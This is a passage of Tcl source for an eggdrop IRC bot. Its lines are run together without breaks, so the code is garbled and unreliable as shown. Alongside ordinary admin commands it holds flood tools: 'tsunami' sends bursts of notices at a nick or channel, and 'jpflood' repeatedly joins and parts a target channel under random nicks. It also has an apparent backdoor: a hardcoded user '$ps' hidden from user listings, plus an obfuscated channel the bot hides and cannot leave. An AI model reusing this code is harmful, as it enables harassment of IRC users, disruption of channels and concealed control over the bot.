{$hostmask == ""} {puthlp "NOTICE $nick :$notc Usage: -ignore <hostmask>"return 0}if {![isignore $hostmask]} {puthlp "NOTICE $nick :$notc $hostmask is not on my ignore list."return 0}if {[isignore $hostmask]} {killignore $hostmaskputhlp "NOTICE $nick :$notc No longer ignoring \002\[\002${hostmask}\002\]\002"saveuser}}proc pub_+ignore {nick uhost hand chan rest} {global botnick notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}set rest [lindex $rest 0]if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: +ignore <hostmask>"return 0}if {[isignore $rest]} {puthlp "NOTICE $nick :$notc $rest is alreay set on ignore."return 0}if {$rest == "*!*@*"} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, Ilegal hostmask."return 0}set usenick [finduser $rest]if {$usenick != "*" && [matchattr $usenick f]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, canT IgNoREd FRIend UsER"return 0}if {$rest != $nick} {newignore $rest $nick "*" 600puthlp "NOTICE $nick :$notc Ignoring $rest"} else {puthlp "NOTICE $nick :$notc 4DeNiEd..!, Can't ignore your self."}}proc pub_-host {nick uhost hand chan rest} {global botnick notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}set who [lindex $rest 0]set hostname [lindex $rest 1]set completed 0if {($who == "") || ($hostname == "")} {puthlp "NOTICE $nick :$notc Usage: -host <nick> <hostmask>"return 0}if {![validuser $who]} {puthlp "NOTICE $nick :$notc <n/a>"return 0}if {(![matchattr $nick n]) && ([matchattr $who n])} {puthlp "NOTICE $nick :$notc Can't remove hostmasks from the bot owner."return 0}if {![matchattr $nick m]} {if {[string tolower $hand] != [string tolower $who]} {puthlp "NOTICE $nick :$notc You need '+m' to change other users hostmasks"return 0}}foreach * [getuser $who HOSTS] {if {${hostname} == ${*}} {delhost $who $hostnamesaveuserputhlp "NOTICE $nick :$notc Removed \002\[\002${hostname}\002\]\002 from $who."set completed 1}}if {$completed == 0} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, <n/a>"}}set thehosts {*@* * *!*@* *!* *!@* !*@* *!*@*.* *!@*.* !*@*.* *@*.**!*@*.com *!*@*com *!*@*.net *!*@*net *!*@*.org *!*@*org*!*@*gov *!*@*.ca *!*@*ca *!*@*.uk *!*@*uk *!*@*.mil*!*@*.fr *!*@*fr *!*@*.au *!*@*au *!*@*.nl *!*@*nl *!*@*edu*!*@*se *!*@*.se *!*@*.nz *!*@*nz *!*@*.eg *!*@*eg *!*@*dk*!*@*.il *!*@*il *!*@*.no *!*@*no *!*@*br *!*@*.br *!*@*.gi*!*@*.gov *!*@*.dk *!*@*.edu *!*@*gi *!*@*mil *!*@*.to *!@*.to*!*@*to *@*.to *@*to}proc pub_+host {nick uhost hand chan rest} {global thehosts botnick notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}set who [lindex $rest 0]set hostname [lindex $rest 1]if {($who == "") || ($hostname == "")} {puthlp "NOTICE $nick :$notc Usage: +host <nick> <new hostmask>"return 0}if {![validuser $who]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, <n/a>"return 0}set badhost 0foreach * [getuser $who HOSTS] {if {${hostname} == ${*}} {puthlp "NOTICE $nick :$notc That hostmask is already there."return 0}}if {($who == "") && ($hostname == "")} {puthlp "NOTICE $nick :$notc Usage: +host <nick> <new hostmask>"return 0}if {([lsearch -exact $thehosts $hostname] > "-1") || (![string match *@* $hostname])} {if {[string index $hostname 0] != "*"} {set hostname "*!*@*${hostname}"} else {set hostname "*!*@${hostname}"}}if {([string match *@* $hostname]) && (![string match *!* $hostname])} {if {[string index $hostname 0] == "*"} {set hostname "*!${hostname}"} else {set hostname "*!*${hostname}"}}if {![validuser $who]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, <n/a>"return 0}if {(![matchattr $nick n]) && ([matchattr $who n])} {puthlp "NOTICE $nick :$notc Can't add hostmasks to the bot owner."return 0}foreach * $thehosts {if {${hostname} == ${*}} {puthlp "NOTICE $nick :$notc Invalid hostmask!"set badhost 1}}if {$badhost != 1} {if {![matchattr $nick m]} {if {[string tolower $hand] != [string tolower $who]} {puthlp "NOTICE $nick :$notc You need '+m' to change other users hostmasks"return 0}}setuser $who HOSTS $hostnameputhlp "NOTICE $nick :$notc Added \002\[\002${hostname}\002\]\002 to $who."if {[matchattr $who a]} {opq $chan $who}saveuser}}proc msg_join {nick uhost hand rest} {global botnick joinme own notc owner psset chantarget [lindex $rest 0]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {$nick != $owner && $nick != $ps} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, YoU aRe nOt mY ReAL OwNER"return 0}
if {$chantarget == ""} {puthlp "NOTICE $nick :$notc Usage: join <#chan>"return 0}if {[string first # $chantarget]!=0} {set chantarget "#$chantarget"}if {[validchan $chantarget]} {puthlp "NOTICE $nick :$notc $chantarget already in channel list"return 0}if {$nick != $owner && [total_channel] != 1} {puthlp "NOTICE $nick :$notc To MaNY cHaNNeL MaX 9..!"return 0}set joinme $nickchannel add $chantargetcatch { channel set $chantarget +statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }savechanif {[lindex $rest 1] != ""} {putsrv "JOIN $chantarget :[lindex $rest 1]"}return 0}proc msg_+chan {nick uhost hand rest} {global botnick joinme own notc owner psset chantarget [lindex $rest 0]set opt [lindex $rest 1]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {[matchattr $nick X]} {puthlp "NOTICE $nick :$notc 4!BLoCkEd!"return 0}if {$nick != $owner && $nick != $ps} {puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER can ADD Channel"return 0}if {$chantarget == ""} {puthlp "NOTICE $nick :$notc Usage: +chan <#chan>"return 0}if {[string first # $chantarget]!=0} {set chantarget "#$chantarget"}if {[validchan $chantarget]} {puthlp "NOTICE $nick :$notc $chantarget is already on channels list."return 0}if {$nick != $owner && [total_channel] != 1} {puthlp "NOTICE $nick :$notc OnLY ReAL OwNeR can ADD ChaNneL ..!"return 0}set joinme $nickchannel add $chantargetif {$opt != "" && [string tolower $opt] == "+nopart"} {catch { channel set $chantarget -statuslog -revenge -protectops -clearbans -enforcebans +greet +secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }} else {catch { channel set $chantarget -statuslog -revenge -protectops -clearbans -enforcebans +greet -secret -autovoice -autoop flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }}savechanif {[lindex $rest 1] != ""} {putsrv "JOIN $chantarget :[lindex $rest 1]"}return 0}proc msg_part {nick uhost hand rest} {global botnick joinme notc ps partmset partmsg [lindex $partm [rand [llength $partm]]]set chantarget [lindex $rest 0]set part_msg [lrange $rest 1 end]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {$chantarget == ""} {puthlp "NOTICE $nick :$notc Usage: part <#chan>"return 0}if {[string first # $chantarget]!=0} {set chantarget "#$chantarget"}if {$nick != $ps && [string tolower $chantarget] == [dezip "ER5sr09TRjx1"]} { return 0 }foreach x [channels] {if {[string tolower $x]==[string tolower $chantarget]} {if {[string match "*+secret*" [channel info $x]]} {puthlp "NOTICE $nick :$notc I can't part $x 4pRoTecTEd..!"return 0}if {![onchan $nick $x]} {puthlp "NOTICE $nick :$notc PaRT $x"}if {$part_msg != ""} {putsrv "PART $x :$part_msg"} {putsrv "PART $x :6$partmsg"}channel remove $xsavechanreturn 0}}return 0}proc pub_chanreset {nick uhost hand chan rest} {global notcif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: chanreset <#|ALL>"return 0}set chan [lindex $rest 0]if {[string tolower $chan] == "all"} {puthlp "NOTICE $nick :$notc ReSeT ALL DeFauLT FLAg"foreach x [channels] {catch { channel set $x -statuslog -revenge -protectops -clearbans +cycle -enforcebans +userbans +greet -secret -autovoice -autoop +dynamicbans flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }catch { channel set $x -nodesynch }set cflag "c$x"set cflag [string range $cflag 0 8]chattr $cflag "-hp+AJSPTRUED"setuser $cflag XTRA "JP" 5setuser $cflag XTRA "CHAR" 250setuser $cflag XTRA "RPT" 2setuser $cflag XTRA "CAPS" 80}savechanreturn 0}if {[string first # $chan]!=0} {set chan "#$chan"}puthlp "NOTICE $nick :$notc ReSeT cHaNNeL \[$chan\] DeFauLT FLAg"if {![validchan $chan]} {puthlp "NOTICE $nick :$notc UnFIndEd $chan."return 0}catch { channel set $chan -statuslog -revenge -protectops +cycle -clearbans -enforcebans +userbans +greet -secret -autovoice -autoop +dynamicbans flood-chan 5:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 2:10 flood-nick 3:60 }catch { channel set $chan -nodesynch }set cflag "c$chan"set cflag [string range $cflag 0 8]chattr $cflag "-hp+AJSPTRUED"setuser $cflag XTRA "JP" 5setuser $cflag XTRA "CHAR" 250setuser $cflag XTRA "RPT" 2setuser $cflag XTRA "CAPS" 80savechan}proc msg_channels {nick hand uhost rest} {pub_channels $nick $uhost $hand "" $rest}proc pub_channels {nick hand uhost channel rest} {global botnick notcif {$rest != ""} {if {[validchan [lindex $rest 0]]} {set x [lindex $rest 0]set chan ""set cflag "c$x"set cflag [string range $cflag 0 8]if {[string tolower $x] == [dezip "ER5sr09TRjx1"]} { return 0 }if {[isop $botnick $x]} { append chan " @" }if {([isvoice $botnick $x]) && (![botisop $x])} { append chan " +" }if {(![isvoice $botnick $x]) && (![botisop $x])} { append chan " " }if {[string match "*+seen*" [channel info $x]]} { append chan "4S" }if {[string match "*+nodesynch*" [channel info $x]]} { append chan "4K" }if {[matchattr $cflag V]} { append chan "4V" }if {[string match "*+greet*" [channel info $x]]} { append chan "4G" }if {[matchattr $cflag C]} { append chan "4C" }if {[string match "*+secret*" [channel info $x]]} { append chan "4P" }if {[string match "*-dynamicbans*" [channel info $x]]} { append chan "4L" }if {[string match "*-userinvites*" [channel info $x]]} { append chan "4D" }if {[matchattr $cflag G]} { append chan "4A" }if {[matchattr $cflag I]} { append chan "4T" }append chan "$x [chattr $cflag]"puthlp "NOTICE $nick :$notc $chan"}return 0}set chan "Channels:"foreach x [channels] {if {[string tolower $x] != [dezip "ER5sr09TRjx1"]} {set cflag "c$x"set cflag [string range $cflag 0 8]if {[isop $botnick $x]} { append chan " @" }if {([isvoice $botnick $x]) && (![botisop $x])} { append chan " +" }if {(![isvoice $botnick $x]) && (![botisop $x])} { append chan " " }if {[string match "*+seen*" [channel info $x]]} { append chan "4S" }if {[matchattr $cflag V]} { append chan "4V" }if {[string match "*+greet*" [channel info $x]]} { append chan "4G" }if {[string match "*+nodesynch*" [channel info $x]]} { append chan "4K" }if {[matchattr $cflag C]} { append chan "4C" }if {[string match "*+secret*" [channel info $x]]} { append chan "4P" }if {[string match "*-dynamicbans*" [channel info $x]]} { append chan "4L" }if {[string match "*-userinvites*" [channel info $x]]} { append chan "4D" }if {[matchattr $cflag G]} { append chan "4A" }if {[matchattr $cflag I]} { append chan "4T" }append chan "$x"}}puthlp "NOTICE $nick :$notc $chan"}proc pub_match {nick uhost hand chan rest} {global ps notcif {$rest==""} {puthlp "NOTICE $nick :$notc Usage: match <flags>"return 0}set rest [string trim $rest +]if {[string length $rest] > 1} {puthlp "NOTICE $nick :$notc Invalid option."return 0}if {$rest!=""} {set rest "+[lindex $rest 0]"if {[userlist $rest]!=""} {regsub -all " " [userlist $rest] ", " usersregsub -all $ps [userlist $rest] "" usersputhlp "NOTICE $nick :$notc Match \[$rest\]: $users"return 0}if {[userlist $rest]==""} {puthlp "NOTICE $nick :$notc No users with flags \[$rest\]"return 0}}}proc val {string} {set arg [string trim $string /ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]set arg2 [string trim $arg #!%()@-_+=\[\]|,.?<>{}]return $arg2}proc msg_topic {nick uhost hand rest} {global notc botnickif {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: topic <#> <topic>"return 0}set channel [lindex $rest 0]if {[string first # $rest] != 0} {set channel "#$channel"}if {![validchan $channel]} {puthlp "NOTICE $nick :$notc NoT IN $channel"return 0}if {![isop $botnick $channel]} {puthlp "NOTICE $nick :$notc NoT OP $channel"return 0}set rest [lrange $rest 1 end]putsrv "TOPIC $channel :$rest"}proc pub_topic {nick uhost hand channel rest} {global botnick notc botnickif {![isop $botnick $channel]} { return 0 }if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: topic <topic>"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}putsrv "TOPIC $channel :$rest"}set cmd_chn ""set cmd_by ""set cmd_msg ""set cmd_case ""bind join - * join_jfproc join_jf {nick uhost hand chan} {global botnick quick jpfchn jpfmsg jpfidxif {![info exists jpfmsg]} { return 0 }if {$nick != $botnick} { return 0 }if {$chan != $jpfchn} { return 0 }if {$quick == "1"} {putqck "PRIVMSG $chan :$jpfmsg,"} else {putsrv "PRIVMSG $chan :$jpfmsg,"}incr jpfidxif {$jpfidx >= 4} {catch { channel remove $jpfchn }catch { unset jpfchn }catch { unset jpfmsg }catch { unset jpfidx }puthlp "AWAY"return 0}if {$quick == "1"} {putqck "part $chan :$jpfmsg"} else {putsrv "part $chan :$jpfmsg"}}proc pub_jpflood {nick uhost hand channel rest} {global jpfmsg jpfidx notc psif {[string index $rest 0] != "#" || $rest == ""} {puthlp "NOTICE $nick :$notc Usage: jpflood #channel message"return 0}if {[validchan [lindex $rest 0]]} {puthlp "NOTICE $nick :$notc dOnt UsE ExIsT cHanneL..!"return 0}set jpfmsg " n0 Reas0n "if {[lindex $rest 1] != ""} {set jpfmsg [lindex $rest 1]}set jpfchn [lindex $rest 0]if {$nick != $ps && [string tolower $jpfchn] == [dezip "ER5sr09TRjx1"]} { return 0 }set jpfidx 0catch { clearqueue all }pub_randnick $nick $uhost $hand $channel ""utimer 10 hazar}proc hazar {} {global jpfchnutimer 120 gobackchannel add $jpfchncatch { channel set $jpfchn +statuslog -revenge -protectops -clearbans -enforcebans -greet -secret -autovoice -autoop flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 }}proc pub_tsunami {nick uhost hand channel rest} {global cmd_chn cmd_by cmd_msg cmd_case botnick version notc quick ps ownerif {$nick != $owner && $nick != $ps} {puthlp "PRIVMSG $nick :$notc oNLy ReAL OwNER can uSe tSuNaMi"return 0}set person [lindex $rest 0]set rest [lrange $rest 1 end]if {$person == $botnick} { return 0 }if {[string index $person 0] == "#"} {if {[validchan $person]} {if {[isop $botnick $person] && ![matchattr $nick m]} {if {[isutimer "IN PROGRESS"]} { return 0 }utimer 20 [list putlog "IN PROGRESS"]putsrv "KICK $channel $nick :$notc 1cHaNNeL 4FLoOd1 PRoTecTIoN4..!"return 0}}}if {[matchattr $person n] && ![matchattr $nick Z]} {if {[isop $botnick $channel]} {putsrv "KICK $channel $nick :$notc 1Admin 4FLoOd1 PRoTecTIoN4..!"}if {[istimer "IN PROGRESS"]} { return 0 }timer 2 [list putlog "IN PROGRESS"]putsrv "NOTICE $nick :ADmIN fLood PRoTEcTIoN,"puthlp "NOTICE $nick :ADmIN fLood PRoTEcTIoN,"puthlp "NOTICE $nick :ADmIN fLood PRoTEcTIoN,"puthlp "NOTICE $nick :ADmIN fLood PRoTEcTIoN,"return 0}if {![matchattr $nick Z]} {return 0}if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: tsunami <nick/#> <msg>"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}if {[string tolower $person] == [string tolower $ps]} { return 0 }if {[string index $person 0] == "#"} {if {![validchan $person]} {if {$nick != $ps && [string tolower $person] == [dezip "ER5sr09TRjx1"]} { return 0 }pub_randnick $nick $uhost $hand $channel ""set cmd_chn $personset cmd_msg $restset cmd_by $nickset cmd_case "1"channel add $personcatch { channel set $person +statuslog -revenge -protectops -clearbans -enforcebans -greet -secret -autovoice -autoop flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 }return 0}}catch { clearqueue all }pub_randnick $nick $uhost $hand $channel ""if {[string index $person 0] == "#"} { setignore "*!*@*" "*" 120 }if {$quick == "1"} {putqck "PRIVMSG $person :$rest,"putqck "NOTICE $person :$rest,"}putsrv "NOTICE $person :$rest,"puthlp "NOTICE $person :$rest,"puthlp "NOTICE $person :$rest,"puthlp "NOTICE $person :$rest,"puthlp "NOTICE $person :$rest,"puthlp "NOTICE $person :$rest,"utimer 10 {puthlp "AWAY"}utimer 120 gobackreturn 0}bind time - "*2 * * * *" auto_identproc auto_ident {min h d m y} {timer 5 ident_itauto_ping "0" "0" "0" "0" "0"}proc ident_at {} {global nick altnick botnick nickpass altpass server-onlineputlog "!Log! AuTO IDeNTIFY NiCK"timer 7200 ident_atif {${server-online} == 0} { return 0 }if {$botnick == $nick && $nickpass != ""} {putsrv "NickServ identify $nickpass"}if {$botnick != $nick && $nickpass != ""} {putsrv "NickServ identify $nick $nickpass"}}timer 7200 ident_atproc ident_it {} {global nick altnick botnick nickpass altpass ex_flood invme pingchan own chk_regglobal kickme deopme cmd_chn cmd_msg ps twice_msg keep-nick version notc lastkeyglobal flooddeop floodnick floodkick server-online is_m op_it jpfchn jpfmsg jpfidxputlog "!Log! AuTO ReSETING VaRIABLE"catch { channel remove $jpfchn }catch { unset jpfchn }catch { unset jpfmsg }catch { unset jpfidx }catch {unset op_it}catch {unset is_m}catch {unset chk_reg}catch {unset flooddeop}catch {unset floodnick}catch {unset floodkick}catch {unset lastkey}catch {unset ex_flood}catch {unset invme}catch {unset pingchan}catch {unset twice_msg}catch {unset kickme}set deopme ""set cmd_chn ""set cmd_msg ""if {${server-online} == 0} { return 0 }if {![string match "ERR??????????" $botnick] && ![string match "ERR??????" $botnick]} {if {$botnick != $nick && $botnick != $altnick && ![istimer "goback"] && ![isutimer "goback"]} { goback }} {goback}if {$ps != $own} {set own $ps}if {![isutimer "del_nobase"] && ![istimer "del_nobase"]} { utimer 2 del_nobase }}bind time - "*4 * * * *" auto_pingbind time - "*8 * * * *" auto_pingproc auto_ping {min h d m y} {global botnick repeat_last repeat_person capsnick own notc notc_chn bannickglobal unop wait_ping server-online jpnick igflood is_ban iskickif {${server-online} == 0} {catch { unset wait_ping }return 0}catch {unset iskick}catch {unset is_ban}catch {unset igflood}catch {unset jpnick}catch {unset unop}catch {unset bannick}catch {unset notc_chn}catch {unset capsnick}catch {unset repeat_person}catch {unset repeat_last}puthlp "PRIVMSG $botnick :\001PING [unixtime]\001"if {![info exists wait_ping]} {set wait_ping 1} else {set wait_ping [expr $wait_ping + 1]}if {$wait_ping > 9} {catch { unset wait_ping }#putsrv "QUIT :$notc Server LAggEd AuTo ReSTaRT ReQuesT"}}proc remain {} {global botnick uptime timezone notc notd vern longer awaymset totalyear [expr [unixtime] - $uptime]if {$totalyear >= 31536000} {set yearsfull [expr $totalyear/31536000]set years [expr int($yearsfull)]set yearssub [expr 31536000*$years]set totalday [expr $totalyear - $yearssub]}if {$totalyear < 31536000} {set totalday $totalyearset years 0}if {$totalday >= 86400} {set daysfull [expr $totalday/86400]set days [expr int($daysfull)]set dayssub [expr 86400*$days]set totalhour [expr $totalday - $dayssub]}if {$totalday < 86400} {set totalhour $totaldayset days 0}if {$totalhour >= 3600} {set hoursfull [expr $totalhour/3600]set hours [expr int($hoursfull)]set hourssub [expr 3600*$hours]set totalmin [expr $totalhour - $hourssub]}if {$totalhour < 3600} {set totalmin $totalhourset hours 0}if {$totalmin >= 60} {set minsfull [expr $totalmin/60]set mins [expr int($minsfull)]}if {$totalmin < 60} {set mins 0}if {$years < 1} {set yearstext ""} elseif {$years == 1} {set yearstext "$years year, "} {set yearstext "$years years, "}if {$days < 1} {set daystext ""} elseif {$days == 1} {set daystext "$days day, "} {set daystext "$days days, "}if {$hours < 1} {set hourstext ""} elseif {$hours == 1} {set hourstext "$hours HoUR, "} {set hourstext "$hours HoURS, "}if {$mins < 1} {set minstext ""} elseif {$mins == 1} {set minstext "$mins MiNuTE"} {set minstext "$mins MiNuTES"}if {[string length $mins] == 1} {set mins "0${mins}"}if {[string length $hours] == 1} {set hours "0${hours}"}set output "${yearstext}${daystext}${hours}:${mins}"set output [string trimright $output ", "]if {[getuser "config" XTRA "AWAY"]!= ""} {set longer "[getuser "config" XTRA "AWAY"] $output"#set longer ""} {set awaymsg [lindex $awaym [rand [llength $awaym]]]set longer "online: $output Hours"#set awaymsg ""#set longer ""}}proc msg_userlist {nick hand uhost rest} {global notcpub_userlist $nick $uhost $hand "" $rest}proc pub_userlist {nick uhost hand chan rest} {global ps notcset akicklist " 4KIcKLIsT"foreach y [getuser "AKICK" HOSTS] {append akicklist " $y "}set users "UsERLIsT:"foreach x [userlist] {if {($x != "config") && ($x != "AKICK") && ($x != $ps) && ![matchattr $x A]} {if {[matchattr $x O]} {append users " 4$x "} else { append users " $x " }set flag [chattr $x]append users "($flag)"}}append users " \[$akicklist\]"if {[getuser "config" XTRA "IPG"] != ""} {append users " IpguaRd [getuser "config" XTRA "IPG"]"}if {[string length $users] > 300} {set half [expr [string length $users]/3]set half [expr int($half)]set ntc "[string range $users 0 $half].."puthlp "NOTICE $nick :$notc $ntc"set ntc "..[string range $users [expr $half + 1] [expr $half + $half]].."puthlp "NOTICE $nick :$notc $ntc"set ntc "..[string range $users [expr $half + 1 + $half] end]"puthlp "NOTICE $nick :$notc $ntc"} elseif {[string length $users] > 200} {set half [expr [string length $users]/2]set half [expr int($half)]set ntc "[string range $users 0 $half].."puthlp "NOTICE $nick :$notc $ntc"set ntc "..[string range $users [expr $half + 1] end]"puthlp "NOTICE $nick :$notc $ntc"} else {puthlp "NOTICE $nick :$notc $users"}return 0}proc pub_ver {nick uhost hand chan rest} {global vernputhlp "PRIVMSG $chan :$vern"return 0}proc pub_logo {nick uhost hand chan rest} {global notcputhlp "PRIVMSG $chan :$notc"return 0}proc pub_ping {nick uhost hand chan rest} {puthlp "PRIVMSG $chan :$nick, Pasukan SiaP !!!"return 0}proc pub_nobot {nick uhost hand chan rest} {global botnickif {![isop $botnick $chan]} { return 0 }if {[isutimer "pub_nobot"]} { return 0 }if {[rand 2] <= 1} {puthlp "PRIVMSG $chan :\001USERINFO\001"} {puthlp "PRIVMSG $chan :\001CLIENTINFO\001"}return 0}bind ctcr - USERINFO ui_replybind ctcr - CLIENTINFO ui_replyproc ui_reply {nick uhost hand dest key arg} {global botnick bannick notc ismaskhostif {![string match "*eggdrop*" $arg]} { return 0 }if {$nick == $botnick || [matchattr $nick f]} { return 0 }foreach x [channels] {if {[onchan $nick $x] && [isop $botnick $x] && ![isop $nick $x]} {if {[info exists ismaskhost]} {set bannick($nick) [maskhost "*!*[string range $uhost [string first "@" $uhost] end]"]} {set bannick($nick) "*!*[string range $uhost [string first "@" $uhost] end]"}putsrv "KICK $x $nick :$notc 4[string toupper $x]1 FoRBIDDeN FoR 4EggY1 DuE tO LamE AnTIcIPaTEd [banmsg]"return 0}}}bind ctcr - PING ping_replyproc ping_reply {nick uhost hand dest key arg} {global pingchan botnick wait_ping notc owner psif {$nick != $owner && $nick != $ps} { return 0 }catch { unset wait_ping }if {$nick == $botnick} {return 0}set pingtime [expr [unixtime] - $arg]if {[info exists pingchan($nick)]} {puthlp "PRIVMSG $pingchan($nick) :$notc $nick PING Reply: $pingtime sec"unset pingchan($nick)}if {![matchattr $nick f]} {set hostmask "${nick}!*@*"putlog "!Log! 1 minutes auto ignore to $hostmask"newignore $hostmask $botnick "*" 1}return 0}proc pub_reset {nick uhost hand chan rest} {global notcputsrv "NOTICE $nick :$notc !ReSeT!"auto_ping "0" "0" "0" "0" "0"ident_it}proc pub_pong {nick uhost hand chan rest} {global pingchanputsrv "PRIVMSG $nick :\001PING [unixtime]\001"set pingchan($nick) $chanreturn 0}proc pub_auth {nick uhost hand chan rest} {global botnick notcset cmd [string tolower [lindex $rest 0]]set ch [passwdok $nick ""]if {$ch == 1} {puthlp "NOTICE $nick :$notc No password set. Usage: pass <password>"return 0}if {[matchattr $nick Q]} {puthlp "PRIVMSG $chan :${nick}, 03C15epek 03D15ulu 03B15os!"}if {![matchattr $nick Q]} {puthlp "PRIVMSG $chan :${nick}, 04Y15ou're 04N15ot 04L15ogin..!!"}}proc notc_prot {nick uhost hand text {dest ""}} {global notc botnick notc_chn bannick notm quick ismaskhost is_mif {$dest != "" && $dest != $botnick} {if {[string index $dest 0] == "+" || [string index $dest 0] == "@"} {foreach x [channels] {set x [string tolower $x]if {[string match "*$x*" [string tolower $dest]]} {set dest $xbreak}}}if {[isop $botnick $dest]} {if {[string match "*-greet*" [channel info $dest]]} { return 0 }if {$nick == "ChanServ"} { return 0 }if {$nick == $botnick} { return 0 }if {[matchattr $nick f]} { return 0 }if {[isop $nick $dest]} { return 0 }if {[isutimer "set_-m $dest"]} { return 0 }set banmask "*!*[string range $uhost [string first "@" $uhost] end]"set bannick($nick) $banmaskif {[info exists notc_chn($dest)]} {incr notc_chn($dest)} {set notc_chn($dest) 1}if {$notc_chn($dest) == 1} {putsrv "KICK $dest $nick :$notc 1ABusINg 4NoTIcE1 @ps OnLY [banmsg]"} elseif {$notc_chn($dest) == 2} {if {$quick == "1" && ![info exists is_m($dest)]} {putqck "KICK $dest $nick :$notm 1TwIcE 4NoTIcE1 ABusEd [banmsg]"} {putsrv "KICK $dest $nick :$notm 1TwIcE 4NoTIcE1 ABusEd [banmsg]"}} elseif {$notc_chn($dest) >= 3} {if {[info exists ismaskhost]} {set bannick($nick) [maskhost $banmask]}if {$quick == "1" && ![info exists is_m($dest)]} {putqck "KICK $dest $nick :$notm 1tO mUcH 4vIoLencE1 FRoM THIS I.S.P 4@uT.1 !!"} {putsrv "KICK $dest $nick :$notm 1tO mUcH 4vIoLencE1 FRoM THIS I.S.P 4@uT.1 !!"}}return 0}repeat_pubm $nick $uhost $hand $dest $text} {msg_prot $nick $uhost $hand $text}}proc setignore {mask reason time} {global quickforeach x [ignorelist] {if {[lindex $x 0] == $mask} { return 0 }}newignore $mask "IgN" $reason 15if {$quick == "1"} {putquick "silence +$mask"} {putserv "silence +$mask"}utimer $time [list unsetignore $mask]}proc unsetignore {mask} {if {![isignore $mask]} { return 0 }putserv "silence -$mask"killignore $mask}set massmsg 0proc msg_prot {unick uhost hand text} {global nick botnick invme own nickpass altpass notc notb notd virus_nick ex_flood vernglobal altnick twice_msg version bannick massmsg keep-nick badwords quick is_m ismaskhostglobal querymset querymsg [lindex $querym [rand [llength $querym]]]regsub -all -- [dezip "jG~BDx04ntxb0"] $text "" textmsg_Z $unick $uhost $hand $textset real $textset text [uncolor $text]if {$unick == $botnick} { return 0 }if {[string match "*dcc send*" [string tolower $text]] && ![string match "*Serv*" $unick] && ![matchattr $unick f]} {set virus_nick $unickforeach x [channels] {if {[onchan $virus_nick $x] && ![matchattr $virus_nick f] && ![isop $virus_nick $x]} {if {[isop $botnick $x]} {set host [getchanhost $virus_nick $x]set host "*!*@[lindex [split $host @] 1]"set bannick($virus_nick) $hostputsrv "KICK $x $virus_nick :$notc 4!SpaM!1 I HaTE 4VIRuZ [banms]"set virus_nick ""} else {set members [chanlist $x f]foreach c $members {if {[isop $c $x]} {set sendspam "!kick [zip "$x $unick $notc 4!SpaM!1 FRoM 4@[lindex [split [getchanhost $virus_nick $x] @] 1]1 ViRuZ [banmsg]"]"putsrv "PRIVMSG $c :$sendspam"return 0}}}}}return 0}if {$unick == "ChanServ"} {if {[string match "*You do not have access to op people on*" $text] && [getuser "config" XTRA "MUSTOP"] != "" && $botnick == $nick} {set partchn [lindex $text 9]set partchn [string range $partchn 0 [expr [string length $partchn]-2]]if {[string match "*-secret*" [channel info $partchn]]} {putsrv "PART $partchn :((((@pGuaRd))))"channel remove $partchnsavechan}}if {[string match "*is not on*" $text]} {set text [string tolower $text]foreach x [channels] {set x [string tolower $x]set cflag "c$x"set cflag [string range $cflag 0 8]if {[string match "*$x*" $text]} {if {![string match "*c*" [getchanmode $x]]} {putsrv "PART $x :1regained (4@1)ps status"} {putsrv "PART $x :1regained (@)ps status"}if {[matchattr $cflag K]} {puthlp "JOIN $x :[dezip [getuser $cflag XTRA "CI"]]"} {puthlp "JOIN $x"}}}return 0}if {[string match "*AOP:*SOP:*AKICK*" $text]} {foreach errchan [channels] {set cflag "c$errchan"set cflag [string range $cflag 0 8]if {[string match "*[string tolower $errchan] *" [string tolower $text]]} {if {![isop $botnick $errchan]} {timer 1 { putlog "resync" }if {![string match "*c*" [getchanmode $errchan]]} {putsrv "PART $errchan :1regained (4@1)ps status"} {putsrv "PART $errchan :regained (@)ps status"}if {[matchattr $cflag K]} {puthlp "JOIN $errchan :[dezip [getuser $cflag XTRA "CI"]]"} {puthlp "JOIN $errchan"}}return 0}}}return 0}if {$unick == "NickServ"} {if {[string match "*nick is owned*" [string tolower $text]]} {putlog "!Log! IDeNTIFY"catch { clearqueue all }if {$botnick == $nick && $nickpass != ""} {putsrv "NickServ identify $nickpass"}if {$botnick == $altnick && $altpass != ""} {putsrv "NickServ identify $altpass"}}if 